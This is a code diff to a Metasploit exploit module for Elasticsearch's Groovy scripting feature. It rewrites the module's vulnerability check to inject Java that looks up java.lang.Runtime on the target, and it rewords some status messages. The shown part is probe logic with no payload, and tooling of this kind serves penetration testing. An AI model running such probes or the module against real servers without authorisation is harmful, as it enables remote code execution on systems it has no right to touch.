diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb index 1852ae9298..7a81bb01c2 100644 --- a/modules/exploits/multi/elasticsearch/search_groovy_script.rb +++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb @@ -99,33 +99,30 @@ class Metasploit3 < Msf::Exploit::Remote end def vulnerable? - addend_one = rand_text_numeric(rand(3) + 1).to_i - addend_two = rand_text_numeric(rand(3) + 1).to_i - sum = addend_one + addend_two + java = 'java.lang.Math.class.forName("java.lang.Runtime")' - java = java_sum([addend_one, addend_two]) - - vprint_status("#{peer} attempting to execute '#{java}' in Java") + vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...") res = execute(java) result = parse_result(res) if result.nil? - vprint_status("#{peer} no response to executed Java") + vprint_status("#{peer} - no response to test") return false - else - vprint_status("#{peer} response to executed Java: #{result}") - result.to_i == sum + elsif result == 'class java.lang.Runtime' + return true end + + false end def parse_result(res) unless res - vprint_error("#{peer} no response") + vprint_error("#{peer} - No response") return nil end unless res.code == 200 && res.body - vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") + vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") return nil end